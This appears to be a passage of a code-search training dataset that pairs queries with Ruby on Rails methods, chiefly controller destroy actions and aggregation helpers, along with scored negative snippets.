[ "0.61830246", "0.584981", "0.5474589", "0.546201", "0.5459581", "0.5434217", "0.52626705", "0.5225691", "0.5123715", "0.51197374", "0.5107366", "0.51032346", "0.50720054", "0.5051213", "0.5042481", "0.50387454", "0.5034641", "0.5022982", "0.50104886", "0.49985647", "0.49618375", "0.49499738", "0.49496716", "0.49478436", "0.49432173", "0.49300322", "0.4929658", "0.4929365", "0.49214965", "0.49145997", "0.48908824", "0.48845974", "0.48790446", "0.4870643", "0.4859584", "0.48458114", "0.4839088", "0.4820218", "0.48167303", "0.48141396", "0.4810965", "0.48027664", "0.47884932", "0.47866854", "0.4781568", "0.47798452", "0.47689578", "0.47624278", "0.4747076", "0.47447547", "0.47445336", "0.4741833", "0.4740413", "0.47376862", "0.47357053", "0.47345993", "0.4729443", "0.472574", "0.47254866", "0.47252733", "0.47213802", "0.4713005", "0.47126994", "0.47089374", "0.47063473", "0.46904632", "0.46853286", "0.46836418", "0.46831903", "0.46827108", "0.4680887", "0.4680065", "0.4680062", "0.46788323", "0.46787754", "0.46762794", "0.46744126", "0.46740317", "0.46721336", "0.46685097", "0.4664998", "0.4660395", "0.46599334", "0.46587595", "0.46566507", "0.46427563", "0.46396643", "0.463946", "0.4636091", "0.46328205", "0.46274552", "0.46189004", "0.46166146", "0.4614035", "0.461346", "0.4613398", "0.46118054", "0.4610025", "0.46020126", "0.46000567" ]
0.62794626
0
DELETE /massive_loads/1 DELETE /massive_loads/1.json
def destroy @massive_load = MassiveLoad.find(params[:id]) @massive_load.destroy respond_to do |format| format.html { redirect_to massive_loads_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @load.destroy\n respond_to do |format|\n format.html { redirect_to loads_url, notice: 'Load was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "def destroy\n @loadbalancer = Loadbalancer.find(params[:id])\n checkaccountobject(\"loadbalancers\",@loadbalancer)\n @loadbalancer.send_delete\n\n respond_to do |format|\n format.html { redirect_to loadbalancers_url }\n format.json { head :ok }\n end\n end", "def destroy\n @load.destroy\n\n respond_to do |format|\n format.html { redirect_to @load.atom }\n format.json { head :no_content }\n end\n end", "def destroy\n @load.destroy\n respond_to do |format|\n format.html { redirect_to loads_url, notice: 'La carga se eliminó correctamente.' }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Item.delete(params[\"id\"])\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @roadblock.destroy\n respond_to do |format|\n format.html { redirect_to \"/roadblocks-dash\" }\n format.json { head :no_content }\n end\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def destroy\n @stall.destroy\n respond_to do |format|\n format.html { redirect_to stalls_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @unlimited.destroy\n respond_to do |format|\n format.html { redirect_to unlimiteds_url }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(url)\n @deleted = true\nend", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def delete\n Iterable.request(conf, base_path).delete\n end", "def destroy\n @flat.destroy\n\n respond_to do |format|\n format.html { redirect_to flats_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @dataload_ga = DataloadGa.find(params[:id])\n @dataload_ga.destroy\n\n respond_to do |format|\n format.html { redirect_to dataload_gas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @visit_block = VisitBlock.find(params[:id])\n @visit_block.destroy\n\n respond_to do |format|\n format.html { redirect_to visit_blocks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @fast.destroy\n respond_to do |format|\n format.html { redirect_to fasts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @batch.destroy\n render json: @batch, status: :ok\n end", "def destroy\n @shard = Shard.find(params[:id])\n @shard.destroy\n\n respond_to do |format|\n format.html { redirect_to shards_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @test = LoadTest.find(params[:id])\n @test.destroy\n\n respond_to do |format|\n format.html { redirect_to load_tests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @flat = Flat.find(params[:id])\n @flat.destroy\n\n respond_to do |format|\n format.html { redirect_to flats_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @flat = Flat.find(params[:id])\n @flat.destroy\n\n respond_to do |format|\n format.html { redirect_to flats_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @storage = @client.storages.find(params[:id])\n @storage.destroy\n\n respond_to do |format|\n format.html { redirect_to client_url(@client) }\n format.json { head :no_content }\n end\n end", "def destroy\n @mostsmallroad = Mostsmallroad.find(params[:id])\n @mostsmallroad.destroy\n\n respond_to do |format|\n format.html { redirect_to mostsmallroads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @stash = Stash.find(params[:id])\n @stash.destroy\n\n respond_to do |format|\n format.html { redirect_to stashes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @broad = Broad.find(params[:id])\n @broad.destroy\n\n respond_to do |format|\n format.html { redirect_to broads_url }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Post.delete(params[\"id\"])\n end", "def destroy\n @shelf.destroy\n\n respond_to do |format|\n format.html { redirect_to shelves_url }\n format.json { head :no_content }\n end\n end", "def destroy\n id = params[:id]\n @physical_rack = PhysicalRack.any_of({_id: id}, {name: id.gsub('-', '.')}).first\n @physical_rack.destroy\n\n respond_to do |format|\n format.html { redirect_to physical_racks_url }\n format.json { head :ok }\n end\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def destroy\n @loading.destroy\n respond_to do |format|\n format.html { redirect_to tenant_loadings_path, notice: 'Loading was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @hdfs_path = HdfsPath.find(params[:id])\n @hdfs_path.destroy\n\n respond_to do |format|\n format.html { redirect_to hdfs_paths_url }\n format.json { head :ok }\n end\n end", "def destroy\n @record = Asset.find(params[:id])\n @record.trash\n respond_to do |format| \n format.json { head :no_content }\n end\n end", "def destroy\n @flat = Flat.find(params[:id])\n @flat.destroy\n\n respond_to do |format|\n format.html { redirect_to flats_url }\n format.json { head :ok }\n end\n end", "def destroy\n @shelf.destroy\n respond_to do |format|\n format.html { redirect_to shelves_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @load_vehicle.destroy\n respond_to do |format|\n format.html { redirect_to load_vehicle_url }\n format.json { head :no_content }\n end\n end", "def destroy_rest\n @item_usage = ItemUsage.find(params[:id])\n @item_usage.destroy\n\n respond_to do |format|\n format.html { redirect_to(item_usages_url) }\n format.xml { head :ok }\n end\n end", "def delete_segment_batch(segment_id_array)\n payload = segment_id_array.to_s\n url = \"#{@base_url}/segments_batch\"\n return RestClient::Request.execute(:method => :delete, :url => url, :payload => payload){|response, request, result| response }\n end", "def destroy\n @mostsmallresource = Mostsmallresource.find(params[:id])\n @mostsmallresource.destroy\n\n respond_to do |format|\n format.html { redirect_to mostsmallresources_url }\n format.json { head :no_content }\n end\n end", "def deleteFlatpack( flatpack_id)\n params = Hash.new\n params['flatpack_id'] = flatpack_id\n return doCurl(\"delete\",\"/flatpack\",params)\n end", "def destroy\n\n @ministorage.destroy\n respond_to do |format|\n format.html { redirect_to admin_ministorages_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @batch.destroy\n head :no_content\n end", "def destroy\n operations_check = OperationsCheck.find(params[:operations_check_id])\n @load_balancer_check = LoadBalancerCheck.find(params[:id])\n @load_balancer_check.destroy\n\n respond_to do |format|\n format.html { redirect_to operations_check_path(operations_check, tab: \"load_balancers\") }\n format.json { head :no_content }\n end\n end", "def destroy\n @medium_road = MediumRoad.find(params[:id])\n @medium_road.destroy\n\n respond_to do |format|\n format.html { redirect_to medium_roads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @batch.destroy\n\n respond_to do |format|\n format.html { redirect_to batches_url }\n format.json { head :no_content }\n end\n end", "def destroy\n record = Asset.find(params[:id])\n record.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end", "def destroy\n @rackitem = Rackitem.find(params[:id])\n @rackitem.destroy\n\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Rackitem removed' }\n format.json { head :no_content }\n end\n end", "def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def destroy\n @batch.destroy\n respond_to do |format|\n format.html { redirect_to batches_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @batch.destroy\n respond_to do |format|\n format.html { redirect_to batches_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @stage_drymass = StageDrymass.find(params[:id])\n @stage_drymass.destroy\n\n respond_to do |format|\n format.html { redirect_to stage_drymasses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @heat_lane_result.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def delete(path)\n path = relativize_path path\n\n Precog.connect self do |http|\n uri = Addressable::URI.new\n uri.query_values = { :apiKey => api_key }\n\n http.delete \"/ingest/v#{VERSION}/fs/#{path}?#{uri.query}\"\n end\n end", "def destroy\n @storage_lun = StorageLun.find(params[:id])\n @storage_lun.destroy\n\n respond_to do |format|\n format.html { redirect_to storage_luns_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @mini_map_road = MiniMapRoad.find(params[:id])\n @mini_map_road.destroy\n\n respond_to do |format|\n format.html { redirect_to mini_map_roads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @reserve_stat_has_manifestation.destroy\n\n respond_to do |format|\n format.html { redirect_to(reserve_stat_has_manifestations_url) }\n format.json { head :no_content }\n end\n end", "def destroy\n @import = @business.imports.find(params[:id])\n @import.reload.destroy\n\n respond_to do |format|\n format.html { redirect_to business_imports_url(@business) }\n format.json { head :no_content }\n end\n end", "def delete\n \n end", "def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end", "def destroy\n @lunch.destroy\n respond_to do |format|\n format.html { redirect_to lunches_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @storage_processor = StorageProcessor.find(params[:id])\n @storage_processor.destroy\n\n respond_to do |format|\n format.html { redirect_to storage_processors_url }\n format.json { head :no_content }\n end\n end", "def delete_json(url)\n JSON.parse(delete(url, :json, :json))\n end", "def destroy\n @cephalopod.destroy\n respond_to do |format|\n format.html { redirect_to cephalopods_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @json.destroy\n respond_to do |format|\n format.html { redirect_to jsons_url, notice: 'Json was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @json.destroy\n respond_to do |format|\n format.html { redirect_to jsons_url, notice: 'Json was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n request(:delete)\n end", "def destroy\n @job_compact = JobCompact.find(params[:id])\n @job_compact.destroy\n\n respond_to do |format|\n format.html { redirect_to job_compacts_url }\n format.json { head :no_content }\n end\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def destroy\n @manifestation_reserve_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to manifestation_reserve_stats_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @block = Block.find(params[:id])\n @block.destroy\n\n respond_to do |format|\n format.html { redirect_to blocks_url }\n format.json { head :ok }\n end\n end", "def destroy\n @lob.destroy\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @small_generator = SmallGenerator.find(params[:id])\n @small_generator.destroy\n\n respond_to do |format|\n format.html { redirect_to small_generators_url }\n format.json { head :no_content }\n end\n end", "def destroy\n render status: 200, json: @request_item.destroy\n end", "def destroy\n @section.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @block = Block.find(params[:id])\n @block.destroy\n\n respond_to do |format|\n format.html { redirect_to blocks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bustour.destroy\n respond_to do |format|\n format.html { redirect_to bustours_url }\n format.json { head :no_content }\n end\n end", "def destroy\n # Actually removing it from amazon if left as an exercise for the reader...\n # HINT: Amazon has many libs you can use to do this.\n @upload.destroy\n respond_to do |format|\n format.html { redirect_to uploads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @line_item1 = LineItem1.find(params[:id])\n @line_item1.destroy\n\n respond_to do |format|\n format.html { redirect_to line_item1s_url }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Company.delete(params[\"id\"])\n end", "def destroy\n @ambush = Ambush.find(params[:id])\n @ambush.destroy\n\n respond_to do |format|\n format.html { redirect_to ambushes_url }\n format.json { head :ok }\n end\n end", "def destroy\n @basis = Base.find(params[:id])\n @basis.destroy\n\n respond_to do |format|\n format.html { redirect_to bases_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @barrack = Barrack.find(params[:id])\n @barrack.destroy\n\n respond_to do |format|\n format.html { redirect_to barracks_url }\n format.json { head :no_content }\n end\n end", "def delete_one(file)\n files_collection.find(:_id => file.id).delete_one\n chunks_collection.find(:files_id => file.id).delete_many\n end", "def delete\n api_client.delete(url)\n end", "def destroy\n @processed_datum = ProcessedDatum.find(params[:id])\n @processed_datum.destroy\n\n respond_to do |format|\n format.html { redirect_to processed_data_url }\n format.json { head :no_content }\n end\n end", "def delete\n delete_from_server single_url\n end", "def destroy\n @throughput_metric.destroy\n respond_to do |format|\n format.html { redirect_to throughput_metrics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def destroy\n @agent_import_file.destroy\n\n respond_to do |format|\n format.html { redirect_to(agent_import_files_url) }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_v1_progress.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_progresses_url, notice: 'Progress was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Alien.delete(params[\"id\"])\n end", "def destroy\n @investigated.destroy\n respond_to do |format| \n format.json { head :no_content }\n end\n end", "def destroy\n @block.destroy\n respond_to do |format|\n format.html { redirect_back(fallback_location: root_path) }\n format.json { head :no_content }\n end\n end", "def destroy\n @go_slim = GoSlim.find(params[:id])\n @go_slim.destroy\n\n respond_to do |format|\n format.html { redirect_to go_slims_url }\n format.json { head :no_content }\n end\n end", "def deleteExecution(execution_id)\n uri = URI(RUNDECKSERVER + ':' + RUNDECKPORT + '/api/12/execution/' + execution_id)\n http = Net::HTTP.new(uri.host, uri.port)\n headers = {'Content-Type'=> 'application/jsonr','X-RunDeck-Auth-Token'=> API_KEY }\n r = http.delete(uri.path, headers) \n return r\nend", "def destroy\n @block.destroy\n respond_to do |format|\n format.html { redirect_to blocks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @block.destroy\n respond_to do |format|\n format.html { redirect_to blocks_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.6751452", "0.66983056", "0.6636599", "0.65260077", "0.64616525", "0.6438764", "0.64364034", "0.6380624", "0.6367704", "0.6367389", "0.6344745", "0.6316303", "0.62940687", "0.62778735", "0.62730956", "0.62583184", "0.62558186", "0.6249699", "0.62424827", "0.621869", "0.62100875", "0.6205515", "0.6205515", "0.62048715", "0.6204632", "0.62028944", "0.6202653", "0.61926264", "0.619213", "0.61875", "0.6183409", "0.6176995", "0.61699414", "0.61669594", "0.61667174", "0.616464", "0.6157954", "0.6153297", "0.61524343", "0.6152431", "0.61513776", "0.61508805", "0.61417735", "0.61383444", "0.61371213", "0.6131743", "0.6123791", "0.61220324", "0.61211735", "0.61192137", "0.6117681", "0.6117681", "0.61149895", "0.6114954", "0.611467", "0.61055464", "0.60971844", "0.60946095", "0.6091472", "0.60886484", "0.6087956", "0.6087947", "0.60877615", "0.60845137", "0.60840636", "0.60807574", "0.60740757", "0.60740757", "0.6068276", "0.60681695", "0.6067261", "0.6066117", "0.6064693", "0.60639757", "0.6058157", "0.6055426", "0.6054216", "0.6053996", "0.6053706", "0.6053612", "0.6053148", "0.6050413", "0.6050096", "0.60489595", "0.60483736", "0.6046728", "0.6046447", "0.6044144", "0.6043077", "0.6042274", "0.60414374", "0.60399765", "0.6037552", "0.6037385", "0.60357994", "0.60341257", "0.60265225", "0.60260487", "0.60244787", "0.60244787" ]
0.7864766
0
Fetches aggregates for a specific field key (:title, :location, etc).
def get(key) self.send(key) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def extract_values(records, field)\n summarize_field(records, field).keys\nend", "def fetch_by_slug(field_name, slugs, example_count, example_fields)\n searches = facet_example_searches(field_name, slugs, example_count, example_fields)\n responses = @index.msearch(searches)\n response_list = responses[\"responses\"]\n result = {}\n slugs.zip(response_list) { |slug, response|\n hits = response[\"hits\"]\n result[slug] = {\n total: hits[\"total\"],\n examples: hits[\"hits\"].map { |hit| hit[\"fields\"] },\n }\n }\n result\n end", "def pipeline(field)\n db_field = \"$#{database_field_name(field)}\"\n sort, skip, limit = criteria.options.values_at(:sort, :skip, :limit)\n\n pipeline = []\n pipeline << { \"$match\" => criteria.exists(field => true).selector }\n pipeline << { \"$sort\" => sort } if sort && (skip || limit)\n pipeline << { \"$skip\" => skip } if skip\n pipeline << { \"$limit\" => limit } if limit\n pipeline << {\n \"$group\" => {\n \"_id\" => field.to_s,\n \"count\" => { \"$sum\" => 1 },\n \"max\" => { \"$max\" => db_field },\n \"min\" => { \"$min\" => db_field },\n \"sum\" => { \"$sum\" => db_field },\n \"avg\" => { \"$avg\" => db_field }\n }\n }\n end", "def fetch_all(key); end", "def fetch\n sort = 'created_at DESC'\n\n case params[:sort_by]\n when 'recent'\n sort = 'created_at DESC'\n else\n\n end\n\n q = '%' + params[:query].downcase + '%'\n\n groups = Group.where(\"LOWER(name) LIKE ? OR LOWER(identifier) LIKE ? OR lower(tags) LIKE ?\", q, q, q)\n .order(sort)\n\n paginate json: groups\n end", "def aggregated_over_time_query\n # TODO Remember to implement permitted parameters here\n query = @grouping_class.new(sanitized_attributes, params)\n @aggregated_over_time_data = Rails.cache.fetch(['aggregated_over_time_data', params], expires_in: 1.week) do\n query.aggregated_over_time_data\n end\n\n render json: @aggregated_over_time_data\n end", "def keyValuePairByAggQryTopDeals(aggregateQuery, bookingColl)\n aggregateCursor = bookingColl.aggregate(aggregateQuery)\n keyArray = []; valueArray = []; returnObj = {}\n aggregateCursor.each do |doc|\n keyArray << (doc[:_id][:customers] + \" (\" + doc[:_id][:soNumbers] + \")\") ; valueArray << (doc[:booking]/MILLION)\n end\n returnObj = {\n :key => keyArray,\n :value => valueArray\n }\n return returnObj\n end", "def group_by_field\n self.find_field(self.group_by_field_name)\n end", "def group\n field = options[:fields].first\n documents.group_by { |doc| doc.send(field) }\n end", "def search_data\n slice = [\n :state,\n :city,\n :formatted_address,\n ]\n merge = {\n # https://github.com/ankane/searchkick#geospatial-searches\n location: { lat: latitude, lon: longitude },\n floorplan_bedroom_count: floorplans&.map(&:bedroom_count).uniq.sort,\n floorplan_bathroom_count: floorplans&.map(&:bathroom_count).uniq.sort,\n }\n attributes.symbolize_keys.slice(*slice).merge(merge)\n end", "def keyValuePairByAggQryBilled(aggregateQuery, bookingColl, byName)\n aggregateCursor = bookingColl.aggregate(aggregateQuery)\n keyArray = []; valueArray = []; returnObj = {}\n uniqueArray = [];\n\n aggregateCursor.each do |doc|\n uniqueArray << doc[:_id]\n end\n keyArray << byName; valueArray << uniqueArray.size \n returnObj = {\n :key => keyArray,\n :value => valueArray\n }\n return returnObj\n end", "def fetch_for_field(field_name, facet_params)\n example_count = facet_params[:examples]\n example_fields = facet_params[:example_fields]\n\n facet_options = @response_facets.fetch(field_name, {}).fetch(\"terms\", [])\n\n slugs = facet_options.map { |option|\n option[\"term\"]\n }\n if slugs.empty?\n {}\n else\n fetch_by_slug(field_name, slugs, example_count, example_fields)\n end\n end", "def by_field(type, key, value, opts={})\n\n value = { '$exists' => true } if value.nil?\n\n paginate_workitems(\n collection(type).find(\"fields.#{key}\" => value),\n opts)\n end", "def aggregate\n klass.collection.group(\n :key => field_list,\n :cond => selector,\n :initial => { :count => 0 },\n :reduce => Javascript.aggregate\n )\n end", "def solr_opensearch_params(field)\n solr_params = {}\n solr_params[:rows] ||= 10\n solr_params[:fl] = field || blacklight_config.view_config(:opensearch).title_field\n solr_params\n end", "def summarize_field(records, field)\n extracted = Hash.new(0)\n records.each do |record|\n begin\n value = field.split(\".\").inject(record) { |hash, key| hash[key] }\n rescue\n value = 'no such field'\n end\n extracted[value] += 1\n end\n return extracted\nend", "def aggregate(query)\n client.search(\n index: name,\n body: query\n )\n end", "def fetch_analytics(collection)\n ga4 = ga4_analytics(collection)\n ua = ua_analytics(collection)\n \n analytics = (ga4+ua).map{|a| a.to_h }.group_by{|h| h[:object] }.map{|k,v| v.reduce({}, :merge)}\n \n analytics.each do |entry|\n entry[:users] = entry[:users].to_i + entry[:ga4_users].to_i if entry[:ga4_users].present?\n entry[:totalEvents] = entry[:totalEvents].to_i + entry[:ga4_totalEvents].to_i if entry[:ga4_totalEvents].present?\n entry[:totalHits] = entry[:totalHits].to_i + entry[:ga4_totalHits].to_i if entry[:ga4_totalHits].present? \n end\n\n object_hash = object_titles(collection)\n analytics.each{ |r| r[:title] = object_hash[r[:object]] }\n\n if sort_column == 'title'\n analytics.sort_by! { |hsh| hsh[sort_column.to_sym] }\n else\n analytics.sort_by! { |hsh| hsh[sort_column.to_sym].to_i }\n end\n analytics.reverse! if sort_direction == 'desc'\n\n analytics\n end", "def statistics\n find(:all, :select => \"title, count(*) AS count, sum(amount) AS sum, avg(amount) AS avg\", :group => :title).map{|stat| stat.attributes}\n end", "def extract_stats_by_axis( query, axis = nil )\n\n case axis.to_sym\n\n # extract by date\n when :views\n query = query.by_date\n\n # extract by UA\n when :ua\n query = ( params.key?( :ua ) ? query.by_version : query.by_ua )\n\n when :country\n query = query.by_country\n\n when :content\n query = query.by_content\n\n end\n\n query\n\n end", "def summarize(group_by, properties=[], query=nil, options={})\n rv = []\n\n fields = ([group_by]+[*properties]).compact.collect{|field|\n self.resolve_field(field)\n }.reverse\n\n # pop current field off the stack\n current_field = fields.pop()\n\n # perform query, only return facets (no documents)\n results = self.search({\n :facets => {\n :counts => {\n :facet_filter => (query.nil? ? nil : self.to_elasticsearch_query(query)),\n :terms => {\n :field => current_field,\n :size => (options[:limit].nil? ? DEFAULT_MAX_FACETS : options[:limit])\n },\n :global => true\n }.compact\n }\n }, {\n :limit => 0,\n :raw => true\n })\n\n # if we got anything...\n unless results.get('facets.counts.terms').nil?\n results.get('facets.counts.terms', []).each do |facet|\n rv << {\n :id => facet['term'],\n :field => self.unresolve_field(current_field),\n :count => facet['count'],\n :children => (fields.empty? ? nil :\n # we need to go deeper...\n self.summarize(fields[0], fields[1..-1], [query, \"#{self.unresolve_field(current_field)}/#{facet['term']}\"].compact.join('/'))\n )\n }.compact\n end\n\n # add in empty results as nulls\n if results.get('facets.counts.missing', 0) > 0\n rv << {\n :id => nil,\n :field => self.unresolve_field(current_field),\n :count => results.get('facets.counts.missing'),\n :children => (fields.empty? ? nil :\n # we need to go deeper...\n self.summarize(fields[0], fields[1..-1], [query, \"#{self.unresolve_field(current_field)}/null\"].compact.join('/'))\n )\n }\n end\n end\n\n return rv\n end", "def aggregate_options(field, calculated_options, aggregate_parameters)\n applied_options = filter_values_for_field(field)\n\n all_options = calculated_options.map { |option|\n [option[\"key\"], option[\"doc_count\"]]\n } + applied_options.map do |term|\n [term, 0]\n end\n\n unique_options = all_options.uniq do |term, _count|\n term\n end\n\n option_objects = unique_options.map do |term, count|\n make_aggregate_option(\n field,\n term,\n count,\n applied_options.include?(term),\n aggregate_parameters[:order],\n )\n end\n\n top_aggregate_options(option_objects, aggregate_parameters[:requested])\n end", "def hmget(key, *fields); end", "def keyValuePairByAggregateQuery(aggregateQuery, bookingColl)\n aggregateCursor = bookingColl.aggregate(aggregateQuery)\n keyArray = []; valueArray = []; returnObj = {}\n aggregateCursor.each do |doc|\n keyArray << doc[:_id]; valueArray << (doc[:booking]/MILLION)\n end\n returnObj = {\n :key => keyArray,\n :value => valueArray\n }\n return returnObj\n end", "def index\n if params[:field].present? && params[:keyword].present?\n @events = Event.all.where([\"#{params[:field]} like ?\", \"%#{params[:keyword]}%\"]).per_page_kaminari(params[:page]).per(params[:per])\n else\n @events = Event.all.per_page_kaminari(params[:page]).per(params[:per])\n end\n end", "def solr_opensearch_params(field=nil)\n if field.nil?\n Deprecation.warn(Blacklight::RequestBuilders, \"Calling Blacklight::RequestBuilders#solr_opensearch_params without a field name is deprecated and will be required in Blacklight 6.0.\")\n end\n\n solr_params = {}\n solr_params[:rows] ||= 10\n solr_params[:fl] = field || blacklight_config.view_config('opensearch').title_field\n solr_params\n end", "def keyValuePairByAggQryDiscount(aggregateQuery, bookingColl)\n aggregateCursor = bookingColl.aggregate(aggregateQuery)\n keyArray = []; valueArray = []; valueArray2 = []; valueArray3 = []; returnObj = {}\n aggregateCursor.each do |doc|\n keyArray << doc[:_id]; valueArray << (calculateDiscount(doc[:booking], doc[:base_list]))\n valueArray2 << doc[:booking]; valueArray3 << doc[:base_list];\n end\n returnObj = {\n :key => keyArray,\n :value => valueArray,\n :value2 => valueArray2,\n :value3 => valueArray3,\n }\n return returnObj\n end", "def full_get(*vars)\n return unless instance.elastics_indexable?\n Elastics.search_by_id(metainfo, {:refresh => true, :params => {:_source => '*'}}, *vars)\n end", "def stats(opts)\n if opts[:aggregate] && (opts[:field] || opts[:service])\n fail Error, \"You can't specify a field or a service for an aggregate request\"\n end\n\n url = '/stats'\n\n url += '/aggregate' if opts.delete(:aggregate)\n\n if service = opts.delete(:service)\n url += \"/service/#{service}\"\n end\n\n if field = opts.delete(:field)\n url += \"/field/#{field}\"\n end\n\n client.get_stats(url, opts)\n end", "def get(field)\n @dataset.get(field)\n end", "def hget(key, field); end", "def hget(key, field); end", "def avg(field)\n aggregates(field)[\"avg\"]\n end", "def aggregated_over_time_query\n quantity_field = @country_ids.present? ? \"#{entity_quantity}_reported_quantity\" : \"#{@reported_by}_reported_quantity\"\n\n <<-SQL\n SELECT ROW_TO_JSON(row)\n FROM (\n SELECT JSON_AGG(JSON_BUILD_OBJECT('x', year, 'y', value) ORDER BY year) AS datapoints\n FROM (\n SELECT year, ROUND(SUM(#{quantity_field}::FLOAT)) AS value\n FROM #{shipments_table}\n #{child_taxa_join}\n WHERE #{@condition} AND #{quantity_field} IS NOT NULL AND #{country_condition}\n AND #{child_taxa_condition}\n GROUP BY year\n #{quantity_condition(quantity_field)}\n ORDER BY value DESC\n #{limit}\n ) t\n ) row\n SQL\n end", "def query_field; end", "def fetch_data(key)\n map { |om| om.fetch_data(key) }.flatten.compact\n end", "def aggregate(property, resolution)\n # Look up the date/time dimensions for the resolution.\n date_time_dimensions = date_time_dimensions_for_resolution(resolution)\n\n # Build the timestamp from the date/time dimensions.\n timestamp = Sequel::SQL::NumericExpression.new(:+, *date_time_dimensions).cast(:timestamp).as(:timestamp)\n\n # Build a window function to sum the counts.\n count_window_function = Sequel::SQL::Function.new(:sum, :count).over(partition: date_time_dimensions).as(:count)\n\n # Build the aggregation window functions.\n aggregation_window_functions = AGGREGATIONS.map do |aggregation|\n Sequel::SQL::Function.new(aggregation, :\"#{property}\").over(partition: date_time_dimensions).as(:\"#{aggregation}_#{property}\")\n end\n\n facts_dataset\n .join(:dimension_dates, date: Sequel.cast(:timestamp, :date))\n .join(:dimension_times, time: Sequel.cast(:timestamp, :time))\n .distinct(*date_time_dimensions)\n .select(timestamp, count_window_function, *aggregation_window_functions)\n end", "def search_query\n query = @grouping_class.new(sanitized_attributes, params)\n data = query.run\n @search_data = Rails.cache.fetch(['search_data', params], expires_in: 1.week) do\n query.build_hash(data, params)\n end\n @filtered_data = query.filter(@search_data, params)\n render :json => Kaminari.paginate_array(@filtered_data).page(params[:page]).per(params[:per_page]),\n :meta => metadata(@filtered_data, params)\n end", "def get_db_aggregation\n db_data_all = []\n aggregation = @thermostat.readings.pluck('Avg(temperature)', 'Min(temperature)', 'Max(temperature)', 'Avg(humidity)', 'Min(humidity)', 'Max(humidity)', 'Avg(battery_charge)', 'Min(battery_charge)', 'Max(battery_charge)').first\n unless aggregation.empty?\n db_data_all << {\"temperature\" => {\"avg\" => aggregation[0].round(2), \"min\" => aggregation[1], \"max\" => aggregation[2]}}\n db_data_all << {\"humidity\" => {\"avg\" => aggregation[3].round(2), \"min\" => aggregation[4], \"max\" => aggregation[5]}}\n db_data_all << {\"battery_charge\" => {\"avg\" => aggregation[6].round(2), \"min\" => aggregation[7], \"max\" => aggregation[8]}}\n end\n return db_data_all\n end", "def aggregations_params\n # fields = Topic::Field.joins(:topic).where(:sensit_topics => {:slug => params[:topic_id]}).map(&:key)\n params.require(:report).require(:aggregations).map do |aggregation|\n type = aggregation.delete(:type)\n aggregation[:kind] = type\n aggregation.tap do |whitelisted|\n whitelisted[:name] = 